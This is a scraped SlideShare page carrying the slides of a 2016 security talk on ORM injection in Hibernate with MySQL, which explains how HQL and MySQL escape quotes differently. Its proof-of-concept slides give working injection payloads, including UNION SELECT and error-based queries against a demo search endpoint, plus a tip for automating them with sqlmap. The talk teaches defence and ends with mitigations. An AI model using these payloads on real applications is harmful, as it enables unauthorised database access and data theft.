O slideshow foi denunciado.
Seu SlideShare está sendo baixado. ×
Anúncio
Anúncio
Anúncio
Anúncio
Anúncio
Anúncio
Anúncio
Anúncio
Anúncio
Anúncio
Anúncio
Anúncio
Carregando em…3
×

Confira estes a seguir

1 de 38 Anúncio

Mais Conteúdo rRelacionado

Diapositivos para si (20)

Quem viu também gostou (20)

Anúncio

Semelhante a ORM Injection (20)

Mais de Simone Onofri (20)

Anúncio

Mais recentes (20)

ORM Injection

  1. 1. ORM Injection Donato Onofri Simone Onofri September 03, 2016
  2. 2. Agenda - Injection - ORM - ORM Injection - ORM Injection in Hibernate with mySql - Proof of Concept - Conclusions 2
  3. 3. Injection Vulnerabilities 3
  4. 4. Injection The first vulnerability of OWASP TOP 10 2013 4 https://www.owasp.org/index.php/Top_10_2013-A1-Injection Injection Definition Injection flaws occur when an application sends untrusted data to an interpreter. Injection flaws are very prevalent, particularly in legacy code. They are often found in SQL, LDAP, Xpath, or NoSQL queries; OS commands; XML parsers, SMTP Headers, program arguments, etc. Injection flaws are easy to discover when examining code, but frequently hard to discover via testing. Scanners and fuzzers can help attackers find injection flaws.” Exploitability - EASY Prevalence - COMMON Detectability - AVERAGE Impact - SEVERE How do I prevent? Keeping untrusted data separate from command and queries: a) Safe API (parametrized, pay attention to stored procedures); b) Escape special characters (e.g. ESAPI); Positive whitelist.
  5. 5. Object Relational Mapping 5
  6. 6. Object Relational Mapping What is ORM? 6 Objection Relational Mapping (ORM) is a programming technique that manages data persistence and allows integration between relational databases and software architectures based on object-oriented paradigm. PROS – Open Source, “Domain Model” pattern, Increased development speed & reduced code, Portability, Performance, Concurrency & multiple-tenancy, Scalable, Extendible, etc… EXAMPLES – Hibernate (Java); Propel (PHP); Nhibernate (.NET) Web Server / Application Server Database Server ORM Domain Model Object
  7. 7. Object Relational Mapping 2001 2003 2005 2011 2015 Hibernate4 Released with multi tenancy, Session Factory… Hibernate5 Released with improved bootstrapping, java8… Hibernate3 Released with key features. Developers hired by JBoss Hibernate2 Released with significant improvements Started By Gavin King (Cirrus Technologies) as an alternative to using EJB2 7 An hibernation story: the ORM for Java Between Java and Persistance mapping from Java classes to database tables. CRUD Operations Declarative model «automation by annotation». Custom batching Usable with Hibernate Query Languages.
  8. 8. Object Relational Mapping What is Hibernate? 8 https://docs.jboss.org/hibernate/orm/5.1/userguide/html_single/Hibernate_User_Guide.html Hibernate’s design goal is to relieve the developer from 95% of common data persistence-related programming tasks by eliminating the need for manual, hand-crafted data processing using SQL and JDBC However, unlike many other persistence solutions, Hibernate does not hide the power of SQL from you and guarantees that your investment in relational technology and knowledge is as valid as always. Hibernate uses a powerful query language (HQL) that is similar in appearance to SQL, but fully object-oriented. HQL queries are translated by Hibernate into conventional SQL queries which in turns perform action on database. Hibernate Database User Input!http://example.com/ search?place=dagobah HQL Query searching for dagobah SQL Query searching for dagobah Presentation Layer Business Logic Layer Data Access Layer JDBC Java Persistence API Hibernate Native API
  9. 9. ORM 101: Object Relational Mapping Hibernate Query Language Cheatsheet 9 Syntax • With the exception of names of Java classes and properties, queries are case-insensitive. • Clauses: • SELECT, UPDATE, DELETE, INSERT, WHERE, JOIN, ORDER BY, GROUP BY, AS • Aggregate functions: • COUNT, AVG, MIN, MAX, SUM • Expressions: • CASE {operand} WHEN {test_value} THEN {match_result} ELSE {miss_result} END • Polymorphic NOTE: is pretty limited against Relational Database Management Systems
  10. 10. ORM 101: Object Relational Mapping Hibernate Query Language Cheatsheet 10 Data Types • Numeric • Boolean • DateTime • Strings • Encoded in single-quotes. To escape a single-quote (‘) within a string literal, use double single- quotes (‘’). • E.g.: // Escaping quotes – Search “Joe’s” List<Person> persons = entityManager.createQuery( "select p “ + "from Person p " + "where p.name like 'Joe''s'", Person.class) .getResultList(); // Not Escaping quotes - Search “Joe” List<Person> persons = entityManager.createQuery( "select p " + "from Person p " + "where p.name like 'Joe'", Person.class) .getResultList();
  11. 11. ORM Injection 11
  12. 12. ORM Injection By official definition from CAPEC-109: ORM Injection 12 http://capec.mitre.org/data/definitions/109.html Definition An attacker leverages a weakness present in the database access layer code generated with an Object Relational Mapping (ORM) tool or a weakness in the way that a developer used a persistence framework to inject his or her own SQL commands to be executed against the underlying database. The attack here is similar to plain SQL injection, except that the application does not use JDBC to directly talk to the database, but instead it uses a data access layer generated by an ORM tool or framework (e.g. Hibernate). While most of the time code generated by an ORM tool contains safe access methods that are immune to SQL injection, sometimes either due to some weakness in the generated code or due to the fact that the developer failed to use the generated access methods properly, SQL injection is still possible. How do I prevent? Remember to understand how to use the data access methods generated by the ORM tool / framework properly in a way that would leverage the built-in security mechanisms of the framework Ensure to keep up to date with security relevant updates to the persistence framework used within your application. Attack Prerequisites • An application uses data access layer generated by an ORM tool or framework • An application uses user supplied data in queries executed against the database • The separation between data plane and control plane is not ensured, through either developer error or an underlying weakness in the data access layer code generation framework
  13. 13. ORM Injection What is possible to do? 13 –As stated in Injection definition we have to modify the «meaning» of the original request (query) to the interpreter to receive arbitrary data. –With ORM, we have two intepreters: – ORM itself (in our case Hibernate) – SQL database (in our case a MySql) – What to Inject: – ORM: less possibility because of limited functionalities of HQL – SQL: more possibility because of the power of the database used by ORM Hibernate Database User Input! Presentation Layer Business Logic Layer Data Access Layer JDBC Java Persistence API Hibernate Native API
  14. 14. ORM Injection in Hibernate 14
  15. 15. Over ORM/HQL Injection Breaking the syntax 15 • Recall: • Hibernate can use HQL as a layer over SQL • Hibernate escapes char ‘ with ‘‘ • Relational Database may (rather: very often ) use different escaping rules • E.G. MySQL Database escapes char ‘ with ’ • Cons: • Chars (or strings) with specific semantic in HQL sintax can have different semantic in SQL: char is a simple char in HQL!
  16. 16. Let’s generalize – Mysql – Hibernate – ‘abc’’or 1=(select 1)--’ [thinks it’s a string] – MySQL – ‘abc’’or 1=(select 1)--’ 16http://2015.zeronights.org/assets/files/36-Egorov-Soldatov.pdf – Postgresql – ’’ not working, quote escaping with ‘’ only – HQL allows subqueries in where clause – Hibernate allow arbitrary function names in HQL – Postgresql have query_to_xml(‘SQL’) – Oracle – ’’ not working, quote escaping with ‘’ only – Hibernate allow arbitrary function names in HQL – Oracle has nice built-in DBMS_XMLGEN.getxml(‘SQL’) – MSSQL – ’’ not working, quote escaping with ‘’ only – No usable XML function – Hibernate ORM allows Unicode symbols – MS SQL Server allows Unicode delimiters in query – Using UTF-8 delimiters with U+00A0
  17. 17. Back to the Hibernate and mySql From input to Database 17 SELECT person0_.id as id1_, person0_.name as name1_, person0_.age as age_1, FROM app1.person person0_ WHERE person0_.name LIKE '%Yoda%' User Input HQL Query SELECT p FROM person.p WHERE p.name LIKE ‘%Yoda%’ http://www.example.com/app/?person=Yoda (my)SQL Query
  18. 18. Over ORM/HQL Injection A question of escaping 18 HQL Query SELECT p FROM person.p WHERE p.name LIKE ‘%Yoda’’ UNION SELECT version(),1,1-- %’ ’’ Chars ’ are considered ’ by HQL ( is normal for HQL), but ’ (escaped quote) by mySql Chars ’’ are considered ’escaped char by HQL and an ’’ in mySql
  19. 19. Over ORM/HQL Injection SQL Injection via HQL Injection 19 SELECT person0_.id as id1_, person0_.name as name1_, person0_.age as age_1, FROM app1.person person0_ WHERE person0_.name LIKE ‘%Yoda’’UNION SELECT version(),1,1-- %’ User Input HQL Query (my)SQL Query SELECT p FROM person.p WHERE p.name LIKE ‘%Yoda ’’ UNION SELECT version(),1,1-- %’ http://www.example.com/app/?person=Yoda ’’ UNION SELECT version(),1,1--
  20. 20. Proof of Concept ORM Injection with Hibernate and mySql 20
  21. 21. Proof of Concept Requirements 21 •Hibernate •HQL Query •MySQL Database •Unsafe Application 
  22. 22. Proof of Concept Let’s start 22 GET /app/planets/search?place=dagobah&page=1 HTTP/1.1 HTTP Request { places: [ {“name1” : “hello1”,place: “dagobah”, placeCode: “123”, “CF”: “243436”}, {“name2” : “hello2”,place: “dagobah”, placeCode: “1234”, “CF”: “243465”}, {“name3” : “hello3”,place: “dagobah”, placeCode: “12345”, “CF”: “265434”} ] } HTTP Response 200 OK (JSON)
  23. 23. «All you need is love quote…» Beatels on Injection vulnerabilities 23
  24. 24. Proof of Concept Breaking HQL Query 24 GET /app/planets/search?place=dagobah’&page=1 HTTP/1.1 HTTP Request HTTP Response 500 Internal Server Error (Hibernate QueryException)
  25. 25. Proof of Concept Not Breaking HQL – Correct escape in HQL 25 GET /app/planets/search?place=dagobah’’&page=1 HTTP/1.1 HTTP Request HTTP Response 200 OK (JSON) places: [ {“name1”: “hello1”,place: “dagobah”, placeCode: “139439439349”, “destroyed”: “no”}, {“name2”: “hello2”,place: “dagobah’s”, placeCode: “139439439349”, “destroyed”: “no”}, ]
  26. 26. Proof of Concept Injecting HQL in order to«selecting all» (take care it is dangerous) 26 GET /app/planets/search?place=dagobah' or '1' = '1&page=1 HTTP/1.1 HTTP Request HTTP Response 200 OK (JSON) { places: [ {“name1”: “hello1”,place: “dagobah”, placeCode: “139439439349”, “destroyed”: “no”}, {“name2”: “hello2”,place: “tatooine”, placeCode: “139439439347”, “destroyed”: “no”}, {“name3”: “hello3”,place: “alderaan”, placeCode: “139439439360”, “destroyed”: “yes”}, {“name4” :“hello4”,null, null, “destroyed”: null}, {“name5”: “hello5”, place: “hot”, placeCode: “73439439360”, “destroyed”: “no”} ] }
  27. 27. Proof of Concept Breaking SQL Query 27 GET /app/planets/search?place=dagobah’’&page=1 HTTP/1.1 Different from previous one! SQLGrammarException != Hibernate QueryException HTTP Request HTTP Response 500 Internal Server Error (SQLGrammarException)
  28. 28. Proof of Concept Breaking SQL Query (cont’d) 28 GET /app/planets/search=place=dagobah’’&page=1 HTTP/1.1 HTTP Request HTTP Response 500 Internal Server Error (MySQLSyntaxException)
  29. 29. 29
  30. 30. 30
  31. 31. Proof of Concept Bad Request – SQL Injection over HQL Injection (using valid SQL) 31 GET / app/planets/search=place=dagobah'' AND (SELECT 8164 FROM(SELECT COUNT(*),CONCAT(0x71716a7171,(SELECT (ELT(8164=8164,1))),0x7170626b71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)--wNyk&page=1HTTP/1.1 HTTP Request HTTP Response 500 Internal Server Error (MySQLIntegrityContstraintViolationException)
  32. 32. Over ORM/HQL Injection Automate Injection on Hibernate/mySql 32 Automation is fun, to exploit «automagically» and mySql in inside use the --prefix switch of sqlmap with the value of a correct HSQL query but wrong mySql query, e.g. dagobah’’
  33. 33. Conclusions 33
  34. 34. Conclusion Lesson learned 34 Depends from the DBMS under ORM Level (e.g. Escaping char «» has different meaning in PostgerSQL [see http://2015.zeronights.org/a ssets/files/36-Egorov- Soldatov.pdf] for further details) Enforce boundary controls on each application level (strict input validation, parametrized query) Think strategically! OGM Injection? ([see http://hibernate.org/ogm/] for further details) Impact Mitigation Future
  35. 35. «Never trust the user input, frameworks too...» Parameter manipulation motto (reloaded) 35
  36. 36. Over ORM/HQL Injection Wikipedia suggestions on SQL Injection mitigation 36 Wikipedia on Parametrized statements Mitigation With most development platforms, parameterized statements that work with parameters can be used (sometimes called placeholders or bind variables) instead of embedding user input in the statement. A placeholder can only store a value of the given type and not an arbitrary SQL fragment. Hence the SQL injection would simply be treated as a strange (and probably invalid) parameter value. https://en.wikipedia.org/wiki/SQL_injection#Parameterized_statements Enforcement at the coding level Using object-relational mapping libraries avoids the need to write SQL code. The ORM library in effect will generate parameterized SQL statements from object-oriented code.” Is it true?
  37. 37. Conclusions A «Toy» Story 37
  38. 38. Thank you 38

×